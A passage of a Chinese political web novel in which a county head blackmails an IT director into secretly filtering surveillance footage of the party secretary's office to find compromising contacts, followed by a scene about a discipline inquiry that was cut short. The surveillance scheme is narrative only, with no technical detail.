信息中心是个技术性很强的半边缘部门,董海作为主任,平时存在感并不强,更多时候像个忙碌的影子穿梭于机房和领导办公室之间维修设备。
李国栋的记忆迅速被调动起来:“认识!当然认识!”
“他……他还请我在外面吃过几次饭。”
“这个人……怎么说呢,技术上是一把好手,就是胆子小了些,行事谨慎得很。”
李国栋一边回忆一边斟酌着措辞,他下意识地补充了一句自认为重要的信息,语气带着点无奈和一丝可以理解的担忧,“哦,对了,他儿子去年刚从大学毕业,学计算机的,通过了招警考试,分配在派出所。”
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>“董海托了好些关系……现在借调到我们局科信大队呢,干得挺认真,就等着有指标名额正式调入呢。”
“为这事,董海没少跟我表示‘心意’,生怕儿子工作调动黄了。”
李国栋说完,眼巴巴地望着刘世廷,不明白这个平日里不显山不露水的董海,怎么能跟对付江昭宁这等天大的事情扯上关系?
难道让董海去当卧底?
刘世廷听着李国栋的介绍,尤其听到“等着正式调入”时,他眼底深处闪过一丝了然且冰冷的光芒。
他声音压得更低,充满了一种不容置疑的指令性:“嗯,那就对了。就在他身上做文章。”
“在董海……身上做文章?”李国栋的眉头锁得更紧,眼神里写满了大大的问号和懵圈,“他……他能监视江昭宁?江**?”
这个念头本身听起来就荒谬至极!
让一个技术宅去监控权势熏天的县委**?
董海怕不是直接先把自己吓瘫了。
“他本人当然不能。”刘世廷冷冷地打断李国栋的胡思乱想,语气带着一丝不易察觉的鄙夷,似乎在嘲笑下属思维的僵化。
他伸出骨节分明的手指,在面前宽大的红木办公桌光滑的桌面上轻轻点了两下,“但是,他信息中心的‘眼睛’可以!明白吗?”
“眼睛?”李国栋更加迷惑了,顺着刘世廷的手指茫然地看着桌面的木纹。
“信息中心管着什么?”刘世廷的耐心似乎用尽,声音陡然变冷,如同淬了冰的针,“全县党政机关内部网络的骨干节点!视频会议系统!”
“还有最重要的——县行政核心区所有关键办公室的安全监控系统!特别是……”
刘世廷故意停顿了一下,确保李国栋的注意力被牢牢吸引,“特别是江昭宁的办公室!你以为那挂在角落里的摄像头只是摆设?”
“或者说,你以为只他自己能随时看得到?”
“他是自愿被监控的,是为了所谓的清廉,为了断绝别人的送礼,呵呵,想不到也会成为我监视他的工具!”
这话如同惊雷在李国栋耳边炸响!
他瞬间感到后背一阵寒意直冲头顶!
监控?!
第103章 风险大大降低!
他猛然醒悟,惊愕地张大了嘴巴,一个长期被忽视、或者说被常识性忽略的真相浮出水面。
刘世廷满意地捕捉到李国栋瞳孔瞬间的放大,继续用那种洞悉一切的语气揭示谜底:“江昭宁现在的办公室,配备了先进的智能监控系统。”
“但所有监控画面的实时影像和历史记录备份的最终汇聚点……”刘世廷再次故意停顿,身体向后靠在椅背上,嘴角那抹冷酷的笑意加深了,“……就在信息中心的中央存储阵列房里!由一个7×24小时的日志系统管理。懂吗?”
李国栋仿佛被一道闪电击中,呆若木鸡。
他当然懂!
信息中心是技术后台,设备需要维护,数据需要备份,董海作为主任,对这个系统的内部运转和后台访问权限,无人能比!
“你是说……”李国栋的声音因为激动而变得干哑颤抖,眼中那几近熄灭的火苗再次熊熊燃烧起来,“江昭宁在办公室里的每一秒、每一帧画面,董海……他都能通过管理后台‘看’到?甚至可以……可以调取历史录像?”
“哼,何止是‘看’到。”刘世廷冷哼一声,像在陈述一个再普通不过的事实,“他不仅可以看实况转播,还能像看电影一样,回放江昭宁上任以来每一天、每一个小时在办公室里的所有镜头!”
“只要他愿意,他能拉近镜头看看**今天批阅的是哪份文件,喝了什么茶,跟谁通了多长时间的电话,谁进了他的门,在沙发上坐了多久,说了几句话……一切的一切。”
“只要发生在那个四壁之内,都逃不过那几颗‘眼睛’,而这些‘眼睛’看到的东西,董海都可以‘看到’,他只需要输入他的管理员密码!”
刘世廷的话语如同打开了潘多拉魔盒的钥匙,将一种隐秘的、令人不寒而栗的权力赤裸裸地展示出来。“所以,明白了吗?”
“根本不需要你的人去冒任何风险踩点、风吹日晒、心惊胆战地搞街头盯梢!”
“明白了!全明白了!刘县长!”李国栋猛地一拍大腿,巨大的兴奋让他的脸涨得通红,之前的惶恐不安一扫而空,眼中闪烁着贪婪和狂喜的光芒,“高!实在是高啊!”
“这样一来,不用出动一兵一卒,无需承担任何暴露的风险!”
“只要董海肯帮忙,江昭宁在办公室里的一举一动,就像是……像是自动送到我们案板上的鱼一样!”
“这……这简直是天赐良机!千金难买啊!”
“刘县长,您真是诸葛再世!”他恨不得立刻冲到信息中心去。
无形的信息洪流成了最锋利的武器,这武器就握在看似卑微的董海手中。
刘世廷平静地接受了李国栋的恭维。
他拿起香烟,点上了火,慢条斯理地吸了一口,吐出一个圆润的烟圈。
“是的。风险?唯一的风险来自于董海的嘴巴。”
“只要他守口如瓶,这一切都会在完全封闭的系统内部完成,神不知鬼不觉。”
“没有人会知道那些画面被看过,更不会有人联想到我们头上。”
“所有的操作都可以抹掉痕迹,就像从未发生过。”
他的话语冷酷而自信,带着对规则的蔑视。
李国栋的兴奋劲头在听到“痕迹”二字时稍微冷却了一瞬,一个新的、现实的问题浮现心头。
他收敛了笑容,微微蹙眉,身体前倾,表达着新生的疑虑:“可是……刘县长,即使我们能看到江昭宁在办公室里的所有画面。”
“那……那里面绝大多数时间,他不就是在批阅文件、开会谈话、处理公务吗?”
“都是些再正常不过的公务活动啊?”
“就算他办公室里来了女干部谈工作,不也是正常的吗?”
“这样……这样盯着看,也未必能发现什么真正的……端倪吧?”
他斟酌着措辞,生怕说错。“难道我们要大海捞针似的盯着屏幕,看他每天见的人?”
“这工作量也太大,而且未必有效啊。”
刘世廷看着李国栋终于从最初的震惊和狂喜中沉静下来,开始思考实际操作中的难点,这让他感到一丝满意。
他微微颔首,用一种导师般的口吻点拨道:“谁让你去管那些‘正常的公务’了?”
“国栋同志,要聚焦重点!”
“我们要的
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是什么?是能坐实他生活作风问题的铁证!”
“是能引爆**、让他在道德上彻底垮台的关键瞬间!”他身体前倾,眼神如同精准的手术刀,“所以,直接告诉董海,让他利用他的权限和他的‘技术嗅觉’,做一件事。”
“从所有监控影像记录里,把那些与江昭宁有频繁接触,或者……有过较长时间‘私下’交流的女性——无论她们是出于工作原因还是其他‘原因’的——筛选出来!”
“不管是看似有意识的接近汇报,还是那些微妙的眼神、肢体语言传达的无意识的信号……都给我挑出来!”
“列出名单,标出她们出入的时间点和频率!”
“我们不需要看到他们在办公室里做什么。”
“我们只需要知道,那些女人,有最多的理由、最多的机会出现在那个私密的空间里!”
“她们的身份,就是最好的引信!”
李国栋只觉一道灵感划过脑海!
他终于彻底明白了刘世廷的真正用意和操作路径。
这不仅仅是要搞臭江昭宁,更是要精准定位他的“软肋”所在!
掌握了这份名单,就掌握了一条直指核心的线索!
后面无论是要钓鱼执法,还是要布置陷阱,抑或是利用社会关系制造**压力,例如接触这些女人的家人或制造偶遇和匿名材料,都变得易如反掌。
“明白了!”李国栋猛地站起来,激动地在办公室中央踱了两步。
他脸上满是豁然开朗的亢奋,眼中精光四射,之前的胆怯早被抛到九霄云外。
取而代之的是一种猎人终于锁定猎物致命破绽的残忍兴奋,“目标清晰!直指核心!”
“有了这份名单,有了这些‘重点对象’的线索,我们再进行后续操作,无论是威逼利诱,还是制造‘偶遇’,甚至‘设局’取证……针对性极强!”
“风险大大降低!效果事半功倍!”
“刘县长,您这……这简直是化腐朽为神奇!”
“我……我这就去接触董海!”
“他儿子……能不能正式调入局里,还不是我一句话,我想他应该知道该怎么选择!”
第104章 用心不良
刘世廷看着兴奋得有些失态的李国栋,并没有制止,只是重新靠回椅背,又狠狠吸了一口烟。
透过袅袅升起的青灰色烟雾,他的目光深邃如寒潭。
成功的关键,就在于董海的选择,而有了正式调入**局里的机会作为砝码……这个选择,应该没有任何悬念了。
他仿佛已经看到,那些在**办公室里流淌过的隐秘时光,即将成为编织牢笼最有力的绳索。
办公室里那无处不在的“眼睛”,此刻成为了权力阴暗面最忠实的仆役。
然而,刘世廷倏地想到了什么,“不,你带董海到我这儿来。”
“明白了!”
“什么时候,现在吗?”
刘世廷摆了一下手,“不,晚上十点钟。你与他一道来。”
“是!”李国栋心领神会。
“去忙吧!”
“好!”李国栋告辞而去。
仲夏的暴雨,像是憋屈了太久的怨气,终于在这一夜彻底倾泻。
豆大的雨点凶狠地撞击着县政府大楼厚重的玻璃窗,发出沉闷而持续的“啪啪”声。
仿佛有无数只手在焦躁地拍打,想要撕开这钢筋水泥的堡垒,窥探其中翻滚的暗流。
时间已过晚上十点。
县府大楼在雨幕中像一头蛰伏的巨兽,白日里喧嚣的走廊此刻只剩下死寂,唯有几盏惨白的应急灯在走廊深处投下孤零零的光晕,勉强驱散着角落浓稠的黑暗。
空气里弥漫着一股潮湿的霉味,混合着消毒水和旧文件纸张的沉闷气息,沉甸甸地压在胸口。
信息中心主任董海缩着脖子,跟着李国栋的脚步有些发虚地穿过这条幽深的长廊。
他的影子在冰冷的地砖上被应急灯拉扯得忽长忽短,扭曲变形。
皮鞋踩在湿漉漉的地面上,发出黏腻的回响,每一步都像踩在自己绷紧的心弦上。
他刚从被窝里被李国栋一个电话硬生生拽出来,电话那头的声音平静得像一潭深不见底的死水,只说了句“刘县长有急事,请董主任务必立刻到办公室一趟”。
“我的车在你家楼下,一起去!”
这“务必”二字,像冰冷的铁钩,瞬间勾住了他所有安稳的睡意,只剩下心脏在胸腔里没着没落地狂跳。
堂堂的**局长在外等自己,董海哪敢怠慢?
他马上翻身下来,向外走去。
……
两人终于走到了走廊尽头那扇沉重的、挂着“县长办公室”牌子的实木门前。
门缝底下透出一线锐利的光,像一把出鞘的刀锋,无声地划破了走廊的昏暗。
董海深吸一口气,那混合着雨水腥气的空气非但没能让他平静,反而像吸进了一团冰冷的棉絮,堵得他喉咙发紧。
李国栋抬手,指节在冰凉光滑的门板上轻轻叩击了三下。
“笃、笃、笃。”
声音不大,却在死寂的走廊里显得格外刺耳,仿佛敲在他自己的太阳穴上。
“进来。”门内传来一个平稳低沉的声音。
李国栋推开门。
董海随之跟进。
一股暖气混杂着高级烟草和茶香的气息扑面而来,瞬间包裹了他被冷气浸透的身体。
县长刘世廷正坐在宽大的办公桌后,身子深陷在宽大的皮椅里,正低头专注地批阅着一份文件。
桌面上,一盏造型简洁却光芒锐利的台灯将他的脸映照得半明半暗。
他身后是巨大的落地窗,窗外是倾盆的雨幕和县城模糊的、被雨水冲刷得面目全非的灯火。
“两位坐!”
李国栋在靠墙的沙发上坐了下来。
“刘县长。”董海站在室内,微微躬着腰,声音带着一丝不易察觉的颤抖。
“哦,老董来了?”刘世廷抬起头,脸上瞬间堆起一种恰到好处的、带着温度的笑意。
他放下笔,动作从容不迫,又指了指办公桌对面的椅子,“坐,快坐。外面雨大吧?”
“辛苦你了,这么晚还跑一趟。”
“不辛苦,不辛苦,县长您找我有事?”董海半边屁股挨着椅子边坐下,腰板挺得笔直,双手局促地放在膝盖上,指节因为用力而微微发白。
他不敢完全放松,目光小心地落在刘世廷脸上,试图从那温和的笑容里捕捉哪怕一丝一毫的真实意图。
刘世廷没有立刻切入正题,身体反而微微前倾,双手交叉放在桌面上,那姿态显得格外平易近人。“家里都好吧?”
“孩子……你儿子,在**局科信大队,工作还适应吗?”
“年轻人刚进去,总要有个
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熟悉过程。”
董海的心猛地一跳。
儿子董小磊,是他唯一的软肋,也是他在这县城里安身立命的最大牵挂。
“托县长的福,都好,都好!”董海连忙点头,脸上挤出感激的笑容,额角却开始渗出细密的汗珠,“小磊他……还算争气,工作上手快。”
“国栋,董主任儿子正式调到局里了吗?我记得是借调吧?”刘世廷嘴角的笑意似乎加深了一分,那弧度变得有些微妙,像平静水面下悄然荡开的一丝涟漪,带着难以言喻的深意,“嗯,得正式调来啊。”
“我相信他能力肯定有,有其父必有其子啊。”
“张县长,你放心吧,你的指示我肯定执行。”
“明天我就办理董小磊的调动。”
刘世廷点了点头,话锋却极其自然地一转,仿佛只是随口提及,“董主任,孩子有前途,你这当爹的,心也就安了,对吧?”
“是,是,全靠组织培养,领导关心。”董海连连应和,心头却像被一只无形的手攥得更紧。
刘世廷与李国栋提起儿子时,那意味深长的眼神,绝不仅仅是闲聊。
果然,刘世廷身体重新靠回椅背,脸上那层温和的薄纱瞬间淡去,露出了底下冷硬的岩石轮廓。
他拿起桌上的保温杯,慢条斯理地拧开盖子,吹了吹浮在上面的茶叶,啜饮了一小口。
那细微的吞咽声,在突然沉寂下来的办公室里,显得异常清晰。
“老董啊,”他放下杯子,目光透过袅袅升起的水汽,精准地落在董海脸上,声音不高,却带着一种不容置疑的分量,“信息中心那边,最近设备运转都还正常吧?”
“特别是……保障县委主要领导办公环境安全的那套监控系统?”
“监控系统”四个字,像四根冰冷的钢针,瞬间刺穿了董海紧绷的神经!
他感觉一股寒气从脚底板猛地窜上头顶,头皮“嗡”地一下炸开。
全身的血液仿佛瞬间凝固,又在下一秒疯狂地涌向心脏,撞击得他耳膜嗡嗡作响。
冷汗几乎是同时从全身每一个毛孔里争先恐后地涌出来,后背的衬衫瞬间湿透,紧紧黏在皮肤上,一片冰凉。
他放在膝盖上的手不受控制地微微颤抖起来。
第105章 雁过无痕
“监……监控系统?”董海的声音干涩得像砂纸摩擦,“刘县长指的是……县委大楼的安保监控?”
“都……都运行良好,定期维护的,画面清晰,存储也……”
“安保监控是基础。”刘世廷打断了他,语气平淡无波,眼神却锐利如鹰隼,牢牢锁住董海慌乱闪烁的目光,“我说的是,更高规格的保障。比如,江昭宁**办公室那一路。”
“江**办公室?!”董海失声叫了出来,随即意识到自己的失态,慌忙低下头,双手紧紧绞在一起,指甲深深掐进了掌心,试图用疼痛来压制那几乎要将他吞噬的恐惧。
“嗯。”刘世廷对他的反应似乎并不意外,只是轻轻哼了一声,那声音里听不出任何情绪,“那一路的视频信号,我记得是直连你们信息中心的主控服务器,对吧?”
“而且是江照宁主动办的,是吧?”
“所有进出记录、动态影像,都实时备份在你们的核心数据库里。”
“日常维护,数据调阅的权限……应该都在你手里?”
他的语气像是在确认一个早已了然于胸的事实,平静得令人窒息。
董海感觉喉咙像是被一只铁钳死死扼住,几乎无法呼吸。
他负责维护这套覆盖整个县委核心区域的高清监控系统,这是他的职责,也是他引以为傲的技术领域。
江昭宁**的办公室,作为全县权力的中枢,其安保级别自然是最高的。
那间办公室内隐蔽的高清摄像头所捕捉的一切,都通过专线实时传输到信息中心的主控服务器,形成加密日志文件,自动归档存储。
他确实拥有最高权限的密钥,可以在“系统维护”的名义下,调阅任何一路摄像头的实时画面和历史记录。
这套系统是安全的堡垒,是秩序的保障,是他董海技术能力的体现。
可现在,这个堡垒的核心控制权,被刘世廷用如此平淡的语气点了出来。
这哪里是询问?
这分明是摊牌!
是赤裸裸的宣告——他知道一切,他掌控着这把钥匙!
董海浑身冰冷,如同坠入冰窟。
他猛地抬起头,脸色在惨白的灯光下灰败如纸,嘴唇哆嗦着,几乎语不成句:“刘……刘县长,那……那是……是**的办公室!”
“这……这系统是为了安全……是绝密……”
“安全?”刘世廷嘴角微微向下一撇,扯出一个近乎嘲讽的弧度,瞬间又恢复了那副掌控全局的淡然,“老董,别紧张。”
“没人要你去做违法乱纪的事。”
他身体再次微微前倾,双手交叉支在桌面上,目光如实质般压在董海身上,“只是需要你,利用你手里的权限,帮个小忙。”
“一个……神不知鬼不觉的小忙。”
董海只觉得心脏快要从嗓子眼里跳出来。
他死死地盯着刘世廷那张平静得可怕的脸,等待着那把悬在头顶的利剑最终落下。
刘世廷的声音压得更低,带着一种蛊惑人心的力量,却又字字句句透着冰冷的算计:“你只需要,在后台系统里,针对江**办公室那几路关键摄像头,设置一个智能筛选规则。”
“目标很简单:自动标记、提取所有进入江**办公室的女性访客的影像片段。”
“无论她是去汇报工作,还是送个文件,哪怕只是在门口短暂停留,只要是个女人,系统就自动抓取她进入和停留期间的视频流,单独存档。”
他顿了顿,观察着董海剧烈颤抖的瞳孔,补充道:“记住,是无差别筛选。”
“无论身份,无论目的,只要是女性。”
“然后,把这些‘特定访客’的记录,单独整理出来,定期交给我。”
办公室里的空气仿佛彻底冻结了。
窗外的暴雨声、通风系统低沉的嗡鸣,似乎都消失了,只剩下董海自己擂鼓般的心跳,震耳欲聋。
他感到一阵强烈的眩晕,胃里翻江倒海。
神不知鬼不觉?
自动筛选?
女性访客?
这哪里是小忙?
这分明是要他亲手织就一张无形的、致命的罗网,去捕捉县委**江昭宁任何一丝可能存在的、说不清道不明的“私密”!
这已经不是窥探,这是处心积虑的构陷!
“刘……刘县长!”董海的声音带着哭腔,巨大的恐惧几乎将他撕裂,“这
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……这风险太大了!”
“万一……万一被技术审计发现后台有异常数据筛选规则……”
“或者……或者江**那边察觉异常……我……我……”他语无伦次,冷汗顺着鬓角滚落,滴在他紧紧攥着的、已经毫无血色的手背上。
“风险?”刘世廷轻轻嗤笑一声,那声音像冰凌碎裂,“老董,你太小看你们信息中心的技术壁垒了,也太小看你自己了。”
他的目光锐利如刀,仿佛能剖开董海所有的犹豫,“你是专家。系统日志清理、规则隐藏、访问痕迹消除……这些对你来说,是本职工作的基本功。”
“只要你想,完全可以做到雁过无痕。”
他身体靠回椅背,双手交叉放在腹部,姿态重新变得放松而自信,仿佛一切尽在掌握:“至于江**那边?”
“他日理万机,怎么会注意到后台服务器里某个微不足道的自动筛选进程?”
“况且,我们只是‘收集信息’,暂时还不会惊动任何人。懂吗?”
“可是……收集这些……到底要做什么……”董海的声音虚弱得像蚊蚋。
“这不是你该问的。”刘世廷的语气骤然转冷,温和的面具彻底撕下,只剩下不容置疑的威压和深不见底的寒意。
那寒意透过空气,直刺董海骨髓。“你只需要明白,这件事,天知、地知、你知、我知。”
“做成了,你儿子董小磊在**局,乃至以后在整个县里的路,会平坦得多。”
“年轻人,需要机会,也需要……来自上面的‘关照’。”
“关照”两个字,刘世廷咬得极重,像两块沉重的巨石,狠狠砸在董海的心上。
他眼前瞬间闪过儿子董小磊年轻而充满希望的脸庞。
儿子的前程,是他后半生所有的寄托和指望。
“如果……”刘世廷话锋一转,声音低沉得如同深渊里刮起的阴风,那双眼睛里的温和彻底消失,只剩下令人心悸的幽暗,“如果你觉得为难,或者……不小心让不该知道的人知道了半个字……”
他没有说下去,只是微微眯起了眼睛,那眼神冰冷得像毒蛇的信子,缓缓扫过董海煞白的脸。
第106章 躯壳
后面的话已经无需出口。
董海仿佛看到了儿子董小磊在**局被排挤、被刁难,最终黯然离开的场景。
看到了自己苦心经营多年、赖以生存的信息中心主任位置轰然倒塌。
甚至看到了更可怕的、无法言说的深渊。
刘世廷的能量,他毫不怀疑。
在这小小的县城,县长要碾碎他这样一个小人物和他儿子的前途,易如反掌。
他只要对在座的李国栋使一个眼色就成。
办公室里的空气凝固成了沉重的铅块,死死压在董海胸口。
窗外,惨白的闪电猛地撕裂厚重的雨幕,瞬间将室内映照得一片青白。紧接着,一声惊天动地的炸雷在头顶轰然爆响!
“轰隆——!!!”
这声巨雷仿佛直接劈在董海的灵魂深处。
他浑身剧烈一颤,整个人像是被无形的巨锤狠狠砸中,猛地从椅子上弹了起来。
心脏在胸腔里疯狂地擂动,撞得他肋骨生疼,太阳穴的血管突突直跳,几乎要爆裂开来。
他大口喘着粗气,眼前阵阵发黑,身体不由自主地摇晃了一下,全靠下意识地伸手撑住冰冷的桌面,才勉强没有瘫软下去。
指尖触及桌面的瞬间,那冰冷坚硬的触感反而让他打了个激灵,一股更深的寒意从脚底直冲头顶。
对面的刘世廷,在雷光闪过的刹那,脸上的表情似乎也微微凝固了一瞬,随即又恢复了那种掌控一切的深沉。
他坐在宽大的皮椅里,像一尊冰冷的石雕,无声地承受着董海投射过来的、混杂着绝望、恐惧和最后一丝挣扎的目光。
时间仿佛被这声惊雷劈成了碎片,又缓缓粘合。
窗外的雨声重新灌入耳中,哗啦啦,永不停歇,如同命运的鼓点。
董海撑着桌面的手,指节因为过度用力而泛出青白色,微微颤抖着。
他死死咬着下唇,尝到了一丝铁锈般的血腥味。
脑海中,儿子的笑脸和刘世廷眼中那深不见底的寒意交替闪现,疯狂撕扯着他仅存的理智。
不知过了多久,也许只有几秒钟,也许像一个世纪般漫长。
董海终于极其缓慢地、极其艰难地抬起眼皮。
他的目光不再闪烁,不再挣扎,只剩下一种被彻底抽干了所有生气的、认命般的空洞。
那空洞深处,是浓得化不开的绝望。
他张了张嘴,喉咙里像堵着滚烫的沙砾,发出嘶哑破碎的声音,每一个字都耗尽了他全部的力气:“……我……明白……了,刘县长。”
声音低得几乎被雨声淹没。
刘世廷的嘴角,极其缓慢地向上牵动了一下。
那不是一个笑容,更像是一个冰冷的、确认猎物入网的信号。
他微微颔首,没有再说一个字,只是用那双深潭般的眼睛,无声地施加着最后的压力。
董海再也不敢看那双眼睛。
他像一具被抽走了灵魂的躯壳,麻木地、僵硬地转过身。
脚步虚浮,深一脚浅一脚地挪向那扇沉重的、隔绝着办公室与外界的实木大门。
每一步,都像踩在烧红的烙铁上。
他的手搭在冰凉光滑的黄铜门把手上,金属的寒意瞬间刺透掌心,直抵心脏。
他停顿了极其短暂的一瞬,似乎想回头,想最后看一眼那决定了他和他儿子命运走向的漩涡中心。
最终,他没有回头。
他拧动门把手,拉开一条缝隙。
门外走廊里昏暗的光线挤了进来,带着更浓郁的潮湿和霉味。
他侧身,几乎是挤出了那道门缝,然后,用尽最后一丝力气,轻轻地将门在身后合拢。
“咔哒。”
一声轻微到几乎可以忽略的锁舌啮合声,在空旷的走廊里却显得格外清晰、刺耳。
门外,惨白的应急灯光,将他孤零零的影子投在湿漉漉的地砖上,拖得老长,扭曲变形,像一个无声哀嚎的鬼魅。
冰冷的、带着霉味的空气猛地灌入肺腑,激得他一阵剧烈的咳嗽,咳得弯下了腰,眼泪不受控制地涌了出来,混合着脸上的冷汗,一片湿凉。
他扶着冰冷的墙壁,剧烈地喘息着。
每一次呼吸,都牵扯着胸腔里撕裂般的痛楚。那一声“明白了”,像一道无形的、剧毒的枷锁,已经死死地套在了他的脖子上,勒得他窒息。
而门内那个端坐的身影,和他背后所代表的庞大阴影,就是这枷锁唯一的掌控者。
他脚步跟跄,来到了信息中心门前。
董海手指
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触碰到信息中心那扇熟悉的、紧闭的金属门。
那里面,有他熟悉的服务器嗡鸣,有闪烁的指示灯,有冰冷的键盘和屏幕。
那是他工作了多年的地方,是他赖以生存的技术堡垒。
可就在今晚,就在此刻,那扇门后面的一切,都将变成他亲手操作的刑具,变成一张编织阴谋的网。
而他,成了网上那只绝望的蜘蛛。
或者更确切地说,是网中那只被粘住的、徒劳挣扎的飞虫。
雨,依旧狂暴。
……
夏日的东山,空气中弥漫着暑气和一种无形的焦灼。
街道上,新组建的“交巡警大队”身着崭新制服的身影格外醒目。
他们骑着警用摩托,在十字路口疏导交通,在街面巡逻执勤,蓝白相间的标识在阳光下熠熠生辉。
这本应是治安力量整合、提升效能的新气象,是江昭宁这位新任县委**力推的改革成果之一。
然而,此刻坐在县委大楼办公室里的江昭宁,心情却远不像窗外的阳光那般明朗。
他手里捏着的,正是关于“交巡警大队”正式上街执勤前的最后一份前置报告——关于原巡警大队人员清理整顿的情况汇报。
报告打印得规整,措辞严谨,结论清晰:原巡警大队共处理11人。
为首的,自然是那个胆大包天、带头冲击县委**办公室的肖新安——开除公职。
紧随其后的,是当时跟着肖新安一起**的四个“骨干”——辞退。
剩下的六人,则被定性为“参与不当行为、思想觉悟不高、存在违规违纪问题”,分别给予了党内警告、严重警告、行政记过、记大过等处分,然后被“调离**机关”,发配到县里其他事业单位或边缘部门。
报告下方,是纪委、组织部、**局联合盖上的鲜红印章,程序完备,无懈可击。
江昭宁的目光久久停留在“开除”、“辞退”、“调离”这几个冰冷的字眼上,手指无意识地在光滑的桌面上敲击着,发出沉闷而规律的轻响。
窗外的喧嚣似乎被隔绝了,办公室里只剩下他翻动纸页和自己心跳的声音。
“就这?”他低声自语,声音不高,却像冰棱坠地,寒意逼人。
第107章 适可而止?
他眼前浮现出那天的混乱场景。
肖新安带着几个同样目无法纪的巡警,公然在县委大楼里咆哮、强行闯入他的办公室。
那份嚣张,那份对党纪国法的彻底蔑视,那份根植于权力庇护下的肆无忌惮,深深刺痛了江昭宁。
他初来乍到,触动了一些人的利益,这在他意料之中。
但这种赤裸裸的、近乎武装对抗的冲击,性质之恶劣,远超预期。
能如此毫无顾忌地冲击一县最高权力机关,对县委**尚且如此,那平日里,面对无权无势的普通百姓呢?
江昭宁几乎可以想象,吃拿卡要、欺行霸市、充当保护伞、甚至直接参与违法犯罪……这些念头像毒蛇一样缠绕着他。
他调阅过一些旧卷宗,也收到过一些匿名**,矛头或多或少都指向原巡警大队某些人的劣迹,尤其以肖新安为甚。
传闻中,此人与本地一些灰色产业、娱乐场所关系暧昧,甚至涉及暴力讨债、包庇**等勾当。
然而,这份沉甸甸的“处理报告”里,竟没有一个人受到刑事处罚!
连带头**、劣迹斑斑的肖新安,也只是被“开除”了事。
开除?
这对他肖新安而言,不过是失去了一个“合法”的身份,他背后的关系和可能涉及的非法所得,毫发无损!
那些党纪政纪处分,对那些被调离的人,更像是换了个地方继续领工资,甚至可能是一种“保护性安置”。
“轻轻放下,高高举起,重重落下?呵!”江昭宁嘴角扯出一丝冷笑,充满了讽刺。
他感觉到一种巨大的荒谬感和无力感。
这份报告,表面上完成了“清理门户”的任务,符合组织程序,甚至可以说对冲击**办公室的行为给予了“严厉”处理。
但江昭宁看到的,是隔靴搔痒,是大事化小。
是对深层次问题的刻意回避,是某种无形的力量在暗中划下的红线——到此为止。
这绝不是他想要的结果。
他要的不是表面的平静,而是刮骨疗毒的决心!
要的是让那些真正作奸犯科者付出应有的代价,要的是彻底清除寄生在**队伍里的毒瘤,重塑东山的法治环境和**生态!
“王**,请过来一下。”江昭宁拿起内线电话,语气平静,却带着不容置疑的分量。
几分钟后,王海峰快步走了进来。
但此刻,他敏锐地捕捉到江**脸上那层不易察觉的寒霜,以及桌上那份他再熟悉不过的报告,心里不由得“咯噔”一下。
“**,您找我?”王海峰微微欠身。
“坐。”江昭宁指了指对面的椅子,将那份报告推了过去,“海峰同志,关于原巡警大队的处理情况,报告我看了。”
“是,**。经过纪委联合组织部、**局的深入调查和审慎研究,最终形成了这个处理意见。”
“合编前的队伍清理工作,算是完成了。”王海峰尽量让自己的语气显得平稳而自信。
“完成?”江昭宁的声音陡然拔高了一度,手指重重地点在报告上,“王**,你不觉得这个‘完成’结束得太轻巧了吗?”
“清理门户,力度不小,名单列了十一个人,动作很快。但是,打击力度呢?震慑效果呢?”
他直视着王海峰的眼睛,目光锐利如刀:“整整五个人!冲击县委,冲击我这个县委**的办公室,这是严重的违法犯罪行为!”
“结果呢?除了那个牛强外,没有一个受到刑事处分!”
“连那个带头的肖新安,也只是开除了事?”
“他肖新安是什么人?他在巡警大队这些年,就干了冲击我办公室这一件‘大事’?”
“他那些盘根错节的关系,那些传闻中的劣迹,都查无实据?清清白白?”
一连串的质问,像重锤一样砸在王海峰心头。
他脸上的笑容彻底消失了,取而代之的是一种混合着尴尬、紧张和为难的神色。
他下意识地掏出手帕,擦了擦额角并不明显的细汗。
“**……这个……”王海峰艰难地开口,“您说的这些,我们都清楚。”
“肖新安这个人,确实……风评很差。”
“但是,刑事侦查和提起公诉的权力,确实不在纪委啊。”
“我们主要是依据党纪政纪进行审查和处理。”
“至于他是否有其他犯罪行为,需要**机关立案侦
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查,由检察机关审查起诉……”
“需要?”江昭宁打断他,语气更加严厉,“王海峰同志!你是纪委**!”
“你们在审查这些人的过程中,难道就没有发现任何涉嫌犯罪的线索?”
“就没有掌握一点可以移交司法机关的过硬证据?”
“肖新安和他的那几个跟班,就仅仅是违反工作纪律那么简单?冲击县委办公室的严重性,仅仅用开除、辞退就能抵消?”
“他的过去不查?”
“这说得过去吗?你们纪委的审查,就只停留在表面?”
“还是说,有什么顾虑,让你们不敢深挖?”
“这个……”王海峰**昭宁的直白逼问弄得哑口无言,额头的汗真的冒了出来。
他不敢直视江昭宁的眼睛,眼神闪烁,内心天人交战。
他当然知道肖新安不干净!
审查过程中,不止一条线索指向肖新安可能涉及敲诈勒索、充当保护伞,甚至涉及与几起暴力讨债、包庇**案有关联。
但是……
就在纪委调查深入,即将触及某些核心问题时,一个电话打到了王海峰的私人手机上。
来电的是刘世廷。
电话里没有明说,但意思再清楚不过:“海峰啊,东山的事,要把握好分寸。”
“肖新安是颗钉子,但拔钉子也要讲究方式方法,用力过猛,容易带出墙里的砖,甚至可能把整面墙都带塌了。”
“东山的稳定是头等大事。”
“有些事,到此为止,适可而止。”
“再深挖下去,肖新安那张嘴,谁知道会咬出谁来?”
“拔出萝卜带出泥,万一带出张彪,甚至牵扯出一串人,局面就复杂了,难以收拾了。”
“江**新来乍到,根基未稳,树敌太多,对他、对东山的发展,都不是好事。”
“稳定压倒一切啊!”
“张彪”这个名字,像一道无形的枷锁,瞬间套在了王海峰身上。
东山官场,谁不知道张彪啊?
年轻轻轻骤升高位,这里会没有玄机?
肖新安就是他的“干将”,是其利益链条上的重要一环。
刘世廷的暗示,既是提醒,也是警告。
第108章 那就慢慢来
王海峰太明白了,在东山这个看似平静的县城水面之下,暗流汹涌,盘踞着复杂而庞大的利益网络。
肖新安只是这张网上的一个节点,牵一发而动全身。
真要彻查肖新安,就等于捅了马蜂窝,甚至可能引发整个东山政法系统的强烈反弹。
到时候,各种阻力、干扰、甚至威胁会接踵而至。
他王海峰虽然是纪委**,但在东山经营多年,深知其中厉害,他的家人、他的位置,都可能受到冲击。
更重要的是,刘世廷点出了“江昭宁的安全”。
这并非危言耸听。
东山的某些势力,为了维护利益,手段狠辣是出了名的。
江昭宁如此强硬地推动改革,已经触怒了不少人。
如果再对肖新安穷追猛打,触动更深层的利益,难保不会有人铤而走险。
作为纪委**,王海峰深知地方上某些角落的黑暗远超常人想象。
这些念头在王海峰脑海中电光火石般闪过。
